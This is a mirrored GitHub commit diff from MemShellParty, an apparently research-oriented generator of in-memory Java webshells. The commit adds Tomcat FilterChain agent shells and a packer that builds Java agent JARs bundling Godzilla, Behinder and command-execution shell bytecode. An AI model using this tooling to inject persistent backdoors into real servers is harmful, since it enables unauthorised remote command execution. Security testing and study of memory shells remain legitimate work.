mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support tomcat agent shell (resolved #12)
This commit is contained in:
@@ -4,11 +4,12 @@
|
|||||||
<p>一键生成常见中间件框架内存马,让内存马测试变得简单高效,打造内存马的全方位学习平台</p>
|
<p>一键生成常见中间件框架内存马,让内存马测试变得简单高效,打造内存马的全方位学习平台</p>
|
||||||
<p>在遍地是轮子的时代,是时候造车,带着大伙加速冲冲冲了</p>
|
<p>在遍地是轮子的时代,是时候造车,带着大伙加速冲冲冲了</p>
|
||||||
|
|
||||||
[](https://github.com/ReaJason/MemShellParty?tab=MIT-1-ov-file)
|
[](https://github.com/ReaJason/MemShellParty/actions)
|
||||||
[](https://github.com/ReaJason/MemShellParty/actions)
|
[](https://github.com/ReaJason/MemShellParty/actions)
|
||||||
[](https://github.com/ReaJason/MemShellParty/actions)
|
[](https://github.com/ReaJason/MemShellParty/actions)
|
||||||
[](https://github.com/ReaJason/MemShellParty/actions)
|
[](https://github.com/ReaJason/MemShellParty?tab=MIT-1-ov-file)
|
||||||
[](https://t.me/memshell)
|
[](https://t.me/memshell)
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
@@ -29,6 +30,13 @@
|
|||||||
|
|
||||||
## 快速启动
|
## 快速启动
|
||||||
|
|
||||||
|
### 在线站点
|
||||||
|
|
||||||
|
可直接访问 https://party.memshell.news (没做加速,搭建在 [Northflank](https://northflank.com/) US
|
||||||
|
节点上,访问较慢,Thanks [@xcxmiku](https://github.com/xcxmiku))
|
||||||
|
|
||||||
|
### 本地部署(推荐)
|
||||||
|
|
||||||
使用 docker 部署之后访问 http://127.0.0.1:8080
|
使用 docker 部署之后访问 http://127.0.0.1:8080
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
@@ -42,11 +50,12 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell reajason/memsh
|
|||||||
### 中间件以及框架
|
### 中间件以及框架
|
||||||
|
|
||||||
| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) |
|
| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) |
|
||||||
|----------------|---------------|------------------|---------------|
|
|---------------------|---------------|------------------|---------------|
|
||||||
| Servlet | Servlet | Filter | Filter |
|
| Servlet | Servlet | Filter | Filter |
|
||||||
| Filter | Filter | Listener | Listener |
|
| Filter | Filter | Listener | Listener |
|
||||||
| Listener | Listener | Valve | Valve |
|
| Listener | Listener | Valve | Valve |
|
||||||
| Valve | | | |
|
| Valve | | | |
|
||||||
|
| FilterChain - Agent | | | |
|
||||||
|
|
||||||
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | Netty |
|
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | Netty |
|
||||||
|--------------|-------------------|-----------------|-------|
|
|--------------|-------------------|-----------------|-------|
|
||||||
@@ -66,8 +75,8 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell reajason/memsh
|
|||||||
| Filter | Filter |
|
| Filter | Filter |
|
||||||
| Listener | Listener |
|
| Listener | Listener |
|
||||||
|
|
||||||
| 宝兰德 BES(9.5.x) | 东方通 TongWeb(6 ~ 7) | 中创 InforSuite AS (9 ~ 10) | 金蝶 Apusic AS (9) |
|
| BES(9.5.x) | TongWeb(6 ~ 7) | InforSuite AS (9 ~ 10) | Apusic AS (9) |
|
||||||
|----------------|--------------------|---------------------------|------------------|
|
|------------|----------------|------------------------|---------------|
|
||||||
| Filter | Filter | Filter | Servlet |
|
| Filter | Filter | Filter | Servlet |
|
||||||
| Listener | Listener | Listener | Filter |
|
| Listener | Listener | Listener | Filter |
|
||||||
| Valve | Valve | Valve | Listener |
|
| Valve | Valve | Valve | Listener |
|
||||||
|
|||||||
Executable
BIN
Binary file not shown.
@@ -7,9 +7,12 @@ import com.reajason.javaweb.memshell.config.GenerateResult;
|
|||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.packer.JarPacker;
|
||||||
import org.springframework.http.ResponseEntity;
|
import org.springframework.http.ResponseEntity;
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.*;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/18
|
* @since 2024/12/18
|
||||||
@@ -24,7 +27,12 @@ public class GeneratorController {
|
|||||||
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
|
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
|
||||||
InjectorConfig injectorConfig = request.getInjectorConfig();
|
InjectorConfig injectorConfig = request.getInjectorConfig();
|
||||||
GenerateResult generateResult = GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig);
|
GenerateResult generateResult = GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||||
String packResult = request.getPacker().getPacker().pack(generateResult);
|
String packResult = null;
|
||||||
|
if (request.getPacker().getPacker() instanceof JarPacker) {
|
||||||
|
packResult = Base64.getEncoder().encodeToString(request.getPacker().getPacker().packBytes(generateResult));
|
||||||
|
} else {
|
||||||
|
packResult = request.getPacker().getPacker().pack(generateResult);
|
||||||
|
}
|
||||||
return ResponseEntity.ok(new GenerateResponse(generateResult, packResult));
|
return ResponseEntity.ok(new GenerateResponse(generateResult, packResult));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -47,7 +47,7 @@ dependencies {
|
|||||||
implementation 'javax.servlet:javax.servlet-api:3.0.1'
|
implementation 'javax.servlet:javax.servlet-api:3.0.1'
|
||||||
implementation 'javax.websocket:javax.websocket-api:1.1'
|
implementation 'javax.websocket:javax.websocket-api:1.1'
|
||||||
implementation 'org.java-websocket:Java-WebSocket:1.5.7'
|
implementation 'org.java-websocket:Java-WebSocket:1.5.7'
|
||||||
implementation 'jakarta.servlet:jakarta.servlet-api:5.0.0'
|
implementation 'jakarta.servlet:jakarta.servlet-api:6.0.0'
|
||||||
implementation 'xalan:xalan:2.7.0'
|
implementation 'xalan:xalan:2.7.0'
|
||||||
implementation 'org.apache.bcel:bcel:5.2'
|
implementation 'org.apache.bcel:bcel:5.2'
|
||||||
|
|
||||||
|
|||||||
@@ -1,10 +1,7 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
import com.reajason.javaweb.memshell.generator.BehinderGenerator;
|
import com.reajason.javaweb.memshell.generator.*;
|
||||||
import com.reajason.javaweb.memshell.generator.CommandGenerator;
|
|
||||||
import com.reajason.javaweb.memshell.generator.GodzillaGenerator;
|
|
||||||
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
import java.util.Collections;
|
import java.util.Collections;
|
||||||
|
|||||||
@@ -10,9 +10,12 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
|||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
||||||
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
||||||
|
import com.reajason.javaweb.memshell.tomcat.behinder.TomcatFilterChainBehinderAdvisor;
|
||||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
||||||
import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket;
|
import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket;
|
||||||
|
import com.reajason.javaweb.memshell.tomcat.command.TomcatFilterChainCommandAdvisor;
|
||||||
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
||||||
|
import com.reajason.javaweb.memshell.tomcat.godzilla.TomcatFilterChainGodzillaAdvisor;
|
||||||
import com.reajason.javaweb.memshell.tomcat.injector.*;
|
import com.reajason.javaweb.memshell.tomcat.injector.*;
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
@@ -28,19 +31,23 @@ public class TomcatShell extends AbstractShell {
|
|||||||
public static final String WEBSOCKET = "WebSocket";
|
public static final String WEBSOCKET = "WebSocket";
|
||||||
public static final String UPGRADE = "Upgrade";
|
public static final String UPGRADE = "Upgrade";
|
||||||
public static final String EXECUTOR = "Executor";
|
public static final String EXECUTOR = "Executor";
|
||||||
|
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
|
||||||
|
public static final String AGENT_JAKARTA_FILTER_CHAIN = AGENT + "JakartaFilterChain";
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||||
return Map.of(
|
return Map.ofEntries(
|
||||||
SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class),
|
Map.entry(SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class)),
|
||||||
JAKARTA_SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class),
|
Map.entry(JAKARTA_SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class)),
|
||||||
FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class),
|
Map.entry(FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class)),
|
||||||
JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class),
|
Map.entry(JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class)),
|
||||||
LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class),
|
Map.entry(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)),
|
||||||
JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class),
|
Map.entry(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)),
|
||||||
VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class),
|
Map.entry(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)),
|
||||||
JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class),
|
Map.entry(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)),
|
||||||
WEBSOCKET, Pair.of(CommandWebSocket.class, TomcatWebSocketInjector.class)
|
Map.entry(AGENT_FILTER_CHAIN, Pair.of(TomcatFilterChainCommandAdvisor.class, TomcatFilterChainAgentInjector.class)),
|
||||||
|
Map.entry(AGENT_JAKARTA_FILTER_CHAIN, Pair.of(TomcatFilterChainCommandAdvisor.class, TomcatFilterChainAgentInjector.class)),
|
||||||
|
Map.entry(WEBSOCKET, Pair.of(CommandWebSocket.class, TomcatWebSocketInjector.class))
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -54,7 +61,9 @@ public class TomcatShell extends AbstractShell {
|
|||||||
LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class),
|
LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class),
|
||||||
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class),
|
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class),
|
||||||
VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class),
|
VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class),
|
||||||
JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class)
|
JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class),
|
||||||
|
AGENT_FILTER_CHAIN, Pair.of(TomcatFilterChainGodzillaAdvisor.class, TomcatFilterChainAgentInjector.class),
|
||||||
|
AGENT_JAKARTA_FILTER_CHAIN, Pair.of(TomcatFilterChainGodzillaAdvisor.class, TomcatFilterChainAgentInjector.class)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -68,7 +77,9 @@ public class TomcatShell extends AbstractShell {
|
|||||||
LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class),
|
LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class),
|
||||||
JAKARTA_LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class),
|
JAKARTA_LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class),
|
||||||
VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class),
|
VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class),
|
||||||
JAKARTA_VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class)
|
JAKARTA_VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class),
|
||||||
|
AGENT_FILTER_CHAIN, Pair.of(TomcatFilterChainBehinderAdvisor.class, TomcatFilterChainAgentInjector.class),
|
||||||
|
AGENT_JAKARTA_FILTER_CHAIN, Pair.of(TomcatFilterChainBehinderAdvisor.class, TomcatFilterChainAgentInjector.class)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -18,4 +18,6 @@ public class Constants {
|
|||||||
|
|
||||||
public static final String VALVE = "Valve";
|
public static final String VALVE = "Valve";
|
||||||
public static final String JAKARTA_VALVE = "JakartaValve";
|
public static final String JAKARTA_VALVE = "JakartaValve";
|
||||||
|
|
||||||
|
public static final String AGENT = "Agent";
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,42 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import net.bytebuddy.implementation.FixedValue;
|
||||||
|
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/28
|
||||||
|
*/
|
||||||
|
public class AgentGenerator {
|
||||||
|
|
||||||
|
private final ShellConfig config;
|
||||||
|
private final InjectorConfig injectorConfig;
|
||||||
|
|
||||||
|
public AgentGenerator(ShellConfig config, InjectorConfig injectorConfig) {
|
||||||
|
this.config = config;
|
||||||
|
this.injectorConfig = injectorConfig;
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] getBytes() {
|
||||||
|
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||||
|
.redefine(injectorConfig.getInjectorClass())
|
||||||
|
.name(injectorConfig.getInjectorClassName())
|
||||||
|
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
|
||||||
|
.method(named("getAdvisorName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
|
||||||
|
|
||||||
|
if (config.isDebugOff()) {
|
||||||
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
|
}
|
||||||
|
|
||||||
|
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||||
|
return make.getBytes();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+6
-9
@@ -7,12 +7,11 @@ import com.reajason.javaweb.memshell.config.BehinderConfig;
|
|||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.implementation.FieldAccessor;
|
|
||||||
import net.bytebuddy.implementation.SuperMethodCall;
|
|
||||||
import net.bytebuddy.matcher.ElementMatchers;
|
|
||||||
import org.apache.commons.codec.digest.DigestUtils;
|
import org.apache.commons.codec.digest.DigestUtils;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/21
|
* @since 2024/12/21
|
||||||
@@ -28,7 +27,7 @@ public class BehinderGenerator {
|
|||||||
|
|
||||||
public DynamicType.Builder<?> getBuilder() {
|
public DynamicType.Builder<?> getBuilder() {
|
||||||
if (behinderConfig.getShellClass() == null) {
|
if (behinderConfig.getShellClass() == null) {
|
||||||
throw new IllegalArgumentException("godzillaConfig.getClazz() == null");
|
throw new IllegalArgumentException("behinderConfig.getClazz() == null");
|
||||||
}
|
}
|
||||||
if (StringUtils.isBlank(behinderConfig.getPass())) {
|
if (StringUtils.isBlank(behinderConfig.getPass())) {
|
||||||
throw new IllegalArgumentException("behinderConfig.getPass().isBlank()");
|
throw new IllegalArgumentException("behinderConfig.getPass().isBlank()");
|
||||||
@@ -39,11 +38,9 @@ public class BehinderGenerator {
|
|||||||
.redefine(behinderConfig.getShellClass())
|
.redefine(behinderConfig.getShellClass())
|
||||||
.name(behinderConfig.getShellClassName())
|
.name(behinderConfig.getShellClassName())
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
||||||
.constructor(ElementMatchers.any())
|
.field(named("pass")).value(md5Key)
|
||||||
.intercept(SuperMethodCall.INSTANCE
|
.field(named("headerName")).value(behinderConfig.getHeaderName())
|
||||||
.andThen(FieldAccessor.ofField("pass").setsValue(md5Key))
|
.field(named("headerValue")).value(behinderConfig.getHeaderValue());
|
||||||
.andThen(FieldAccessor.ofField("headerName").setsValue(behinderConfig.getHeaderName()))
|
|
||||||
.andThen(FieldAccessor.ofField("headerValue").setsValue(behinderConfig.getHeaderValue())));
|
|
||||||
|
|
||||||
if (shellConfig.isJakarta()) {
|
if (shellConfig.isJakarta()) {
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||||
|
|||||||
+4
-7
@@ -7,10 +7,8 @@ import com.reajason.javaweb.memshell.config.CommandConfig;
|
|||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.implementation.FieldAccessor;
|
|
||||||
import net.bytebuddy.implementation.Implementation;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
import net.bytebuddy.implementation.SuperMethodCall;
|
|
||||||
import net.bytebuddy.matcher.ElementMatchers;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -22,13 +20,12 @@ public class CommandGenerator {
|
|||||||
if (shellConfig.getShellClass() == null) {
|
if (shellConfig.getShellClass() == null) {
|
||||||
throw new IllegalArgumentException("shellConfig.getClazz() == null");
|
throw new IllegalArgumentException("shellConfig.getClazz() == null");
|
||||||
}
|
}
|
||||||
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
|
|
||||||
.andThen(FieldAccessor.ofField("paramName").setsValue(shellConfig.getParamName()));
|
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||||
.redefine(shellConfig.getShellClass())
|
.redefine(shellConfig.getShellClass())
|
||||||
.name(shellConfig.getShellClassName())
|
.name(shellConfig.getShellClassName())
|
||||||
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
|
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
|
||||||
.constructor(ElementMatchers.any()).intercept(fieldSets);
|
.field(named("paramName")).value(shellConfig.getParamName());
|
||||||
|
|
||||||
if (config.isJakarta()) {
|
if (config.isJakarta()) {
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||||
|
|||||||
+7
-10
@@ -7,12 +7,11 @@ import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
|||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.implementation.FieldAccessor;
|
|
||||||
import net.bytebuddy.implementation.SuperMethodCall;
|
|
||||||
import net.bytebuddy.matcher.ElementMatchers;
|
|
||||||
import org.apache.commons.codec.digest.DigestUtils;
|
import org.apache.commons.codec.digest.DigestUtils;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/11/23
|
* @since 2024/11/23
|
||||||
@@ -40,13 +39,11 @@ public class GodzillaGenerator {
|
|||||||
.redefine(godzillaConfig.getShellClass())
|
.redefine(godzillaConfig.getShellClass())
|
||||||
.name(godzillaConfig.getShellClassName())
|
.name(godzillaConfig.getShellClassName())
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
||||||
.constructor(ElementMatchers.any())
|
.field(named("pass")).value(godzillaConfig.getPass())
|
||||||
.intercept(SuperMethodCall.INSTANCE
|
.field(named("key")).value(md5Key)
|
||||||
.andThen(FieldAccessor.ofField("pass").setsValue(godzillaConfig.getPass()))
|
.field(named("md5")).value(md5)
|
||||||
.andThen(FieldAccessor.ofField("key").setsValue(md5Key))
|
.field(named("headerName")).value(godzillaConfig.getHeaderName())
|
||||||
.andThen(FieldAccessor.ofField("md5").setsValue(md5))
|
.field(named("headerValue")).value(godzillaConfig.getHeaderValue());
|
||||||
.andThen(FieldAccessor.ofField("headerName").setsValue(godzillaConfig.getHeaderName()))
|
|
||||||
.andThen(FieldAccessor.ofField("headerValue").setsValue(godzillaConfig.getHeaderValue())));
|
|
||||||
|
|
||||||
if (shellConfig.isJakarta()) {
|
if (shellConfig.isJakarta()) {
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||||
|
|||||||
@@ -0,0 +1,83 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import org.apache.commons.io.FileUtils;
|
||||||
|
import org.apache.commons.io.IOUtils;
|
||||||
|
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.FileInputStream;
|
||||||
|
import java.io.FileOutputStream;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.nio.file.Files;
|
||||||
|
import java.nio.file.Path;
|
||||||
|
import java.util.Enumeration;
|
||||||
|
import java.util.jar.JarEntry;
|
||||||
|
import java.util.jar.JarFile;
|
||||||
|
import java.util.jar.JarOutputStream;
|
||||||
|
import java.util.jar.Manifest;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/1/1
|
||||||
|
*/
|
||||||
|
public class AgentJarPacker implements JarPacker {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
public byte[] packBytes(GenerateResult generateResult) {
|
||||||
|
Path jarPath = Files.createTempFile("temp", ".jar");
|
||||||
|
String mainClass = generateResult.getInjectorClassName();
|
||||||
|
String advisorClass = generateResult.getShellClassName();
|
||||||
|
|
||||||
|
Manifest manifest = new Manifest();
|
||||||
|
manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
|
||||||
|
manifest.getMainAttributes().putValue("Agent-Class", mainClass);
|
||||||
|
manifest.getMainAttributes().putValue("Premain-Class", mainClass);
|
||||||
|
manifest.getMainAttributes().putValue("Can-Redefine-Classes", "true");
|
||||||
|
manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true");
|
||||||
|
|
||||||
|
try (JarOutputStream targetJar = new JarOutputStream(new FileOutputStream(jarPath.toFile()), manifest)) {
|
||||||
|
addDependency(targetJar, ByteBuddy.class);
|
||||||
|
|
||||||
|
if (generateResult.getShellConfig().isJakarta()) {
|
||||||
|
addDependency(targetJar, jakarta.servlet.Servlet.class);
|
||||||
|
} else {
|
||||||
|
addDependency(targetJar, javax.servlet.Servlet.class);
|
||||||
|
}
|
||||||
|
|
||||||
|
targetJar.putNextEntry(new JarEntry(mainClass.replace('.', '/') + ".class"));
|
||||||
|
targetJar.write(generateResult.getInjectorBytes());
|
||||||
|
targetJar.closeEntry();
|
||||||
|
|
||||||
|
targetJar.putNextEntry(new JarEntry(advisorClass.replace('.', '/') + ".class"));
|
||||||
|
targetJar.write(generateResult.getShellBytes());
|
||||||
|
targetJar.closeEntry();
|
||||||
|
}
|
||||||
|
byte[] byteArray = IOUtils.toByteArray(new FileInputStream(jarPath.toFile()));
|
||||||
|
FileUtils.deleteQuietly(jarPath.toFile());
|
||||||
|
return byteArray;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass) {
|
||||||
|
String packageToMove = baseClass.getPackage().getName().replace('.', '/');
|
||||||
|
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
|
||||||
|
JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()));
|
||||||
|
Enumeration<JarEntry> entries = sourceJar.entries();
|
||||||
|
while (entries.hasMoreElements()) {
|
||||||
|
JarEntry entry = entries.nextElement();
|
||||||
|
String entryName = entry.getName();
|
||||||
|
if (entryName.startsWith(packageToMove)) {
|
||||||
|
InputStream entryStream = sourceJar.getInputStream(entry);
|
||||||
|
targetJar.putNextEntry(new JarEntry(entryName));
|
||||||
|
IOUtils.copy(entryStream, targetJar);
|
||||||
|
targetJar.closeEntry();
|
||||||
|
entryStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
sourceJar.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,8 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/1/1
|
||||||
|
*/
|
||||||
|
public interface JarPacker extends Packer {
|
||||||
|
}
|
||||||
@@ -17,7 +17,13 @@ public interface Packer {
|
|||||||
* @param generateResult 生成的内存马信息
|
* @param generateResult 生成的内存马信息
|
||||||
* @return 指定格式字节数组
|
* @return 指定格式字节数组
|
||||||
*/
|
*/
|
||||||
String pack(GenerateResult generateResult);
|
default String pack(GenerateResult generateResult) {
|
||||||
|
throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 string 生成");
|
||||||
|
}
|
||||||
|
|
||||||
|
default byte[] packBytes(GenerateResult generateResult) {
|
||||||
|
throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 bytes 生成");
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 部分打包器可能需要配置来进行额外的配置项
|
* 部分打包器可能需要配置来进行额外的配置项
|
||||||
@@ -70,6 +76,8 @@ public interface Packer {
|
|||||||
Freemarker("Freemarker", new FreemarkerPacker()),
|
Freemarker("Freemarker", new FreemarkerPacker()),
|
||||||
|
|
||||||
Velocity("Velocity", new VelocityPacker()),
|
Velocity("Velocity", new VelocityPacker()),
|
||||||
|
|
||||||
|
AgentJar("AgentJar", new AgentJarPacker()),
|
||||||
;
|
;
|
||||||
|
|
||||||
private final String desc;
|
private final String desc;
|
||||||
|
|||||||
+46
@@ -0,0 +1,46 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||||
|
import com.reajason.javaweb.util.ClassUtils;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
